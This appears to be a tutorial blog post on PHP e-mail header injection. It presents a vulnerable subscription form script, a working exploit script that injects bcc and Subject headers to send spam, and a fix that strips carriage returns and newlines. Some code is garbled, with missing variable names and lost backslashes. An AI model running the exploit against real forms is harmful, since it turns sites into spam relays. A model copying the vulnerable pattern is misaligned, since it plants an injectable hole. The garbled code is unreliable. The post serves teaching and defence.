Mailing a form’s fields to e-mail address(es) is a common problem; unfortunately, deploying single-script solutions can often create a vulnerable webserver. Read on for a quick case study of a single PHP script that was hijacked to send SPAM.

Original Source

This particular vulnerable script was written to receive POSTs from a single web form, with a single field: “email“.

 1  <?
 2    $email  =  $_POST['email'];
 3
 4        =  "subscribe $email";
 5    $subject    =  "";
 6    $recipient  =  "somelist-request@mailman.example.com";
 7
 8    if( preg_match( "/@/", $email ) )
 9      mail( $recipient, $subject, , "From: $emailrn" );
10
11    header( "Location: http://www.example.com/thanks/" );
12  ?>

The script is simple enough: it retrieves a key from the browser’s POST
(line 2), builds a simple e-mail to the “somelist” mailman list subscription
system, and sends it on its way.

Note that only validation performed (line 8) checks for the presence of
an ‘@‘ character.

Exploit

 1  <?php
 2
 3    $site  =  'www.example.com';
 4    $url   =  '/sign-up/';
 5
 6    $exploit_text  =  "rn".
 7                      "bcc: youremail@example.comrn".
 8                      "Subject: This is SPAM.rn".
 9                      "From: "Spammer" <youremail@example.com>rn".
10                      "rn".
11                      "This mail script is utterly exploited.rn";
12
13    $req  =  'email='.urlencode( stripslashes( $exploit_text ) );
14
15    $header  =  'POST '.$url." HTTP/1.0rn";
16    $header .=  "Host: $sitern";
17    $header .=  "Content-Type: application/x-www-form-urlencodedrn";
18    $header .=  "Content-Length: ".strlen( $req )."rnrn";
19
20    $fp  =  fsockopen( $site, 80, $errno, $errstr, 30 );
21
22    if ( ! $fp  ) {
23      echo "ERROR: $errno, $errstrn";
24      exit;
25    }
26
27    fputs( $fp, $header.$req );
28
29    while ( ! feof( $fp ) ) {
30      $results .=  fgets( $fp, 1024 );
31    }
32
33    echo "nnResult: $resultsn";
34
35    fclose( $fp );
36
37    echo "DONEn";
38
39  ?>

This script is slightly more complex, but simple enough to demonstrate
the flaw in the first code snippet. The code simply constructs a
well-formed POST and sends it manually to www.example.com’s web server
on port 80.

Notice that the ‘sploit text injects rn — a carriage return / line
feed, used in mail headers sent to sendmail to separate one header’s
line from the next. Why does this exploit the first script?

 9      mail( $recipient, $subject, , "From: $emailrn" );

The mail signature for PHP’s mail( ) function is as follows:

bool mail ( string to, string subject, string message [, string
additional_headers [, string additional_parameters]] )

In this case, form data from the user ($_POST['email']) is concatenated
directly into the e-mail’s final headers. If $email contains rn
sequences followed by more headers (as in $exploit_text) those headers
will be added to the real message!

In this case, I simply add a bcc: header line, a subject, from field,
and the spam email’s text.

Solution

 1  <?php
 2    $email  =  $_POST['email'];
 3
 4    $email  =  preg_replace( "/[rn]/", '', $email );
 5
 6        =  "subscribe $email";
 7    $subject    =  "";
 8    $recipient  =  "somelist-request@mailman.example.com";
 9
10    if( preg_match( "/@/", $email ) )
11      mail( $recipient, $subject, , "From: $emailrn" );
12
13    header( "Location: http://www.example.com/thanks/" );
14  ?>

Line 4 solves the immediate problem; all carriage returns (r) and
newlines (n) are stripped from the untrusted user data before being
passed into the mail function’s headers. This simple enhancement is
enough to prevent this particular exploit.

There are many other ways to improve the validation on this script, such as checking the e-mail address according to RFC 2822.

Defensive design

In order to mitigate these sorts of attacks, all form data should be
considered “tainted”—lacking rigorous validation, it should not be
inserted into an SQL statement, a mail command (especially the headers),
and CERTAINLY NOT in a exec( ) or system( ) command!

When data is tainted, anything derived from that data acquires the
taint. That is, one should be careful to trace the progress of
unvalidated user data all the way from the $_GET /
$_POST variables into whatever composite variables and arrays are made later.

The above appears obvious, but I assert that every programmer has written exploitable code. I hope that this concrete example will help some programmers write less exploitable code. Even “simple” code can be exploited by a knowledgeable attacker. Please keep this in mind the next time you deploy a band-aid script solution; never assume that your only source of form data is the actual web page’s form.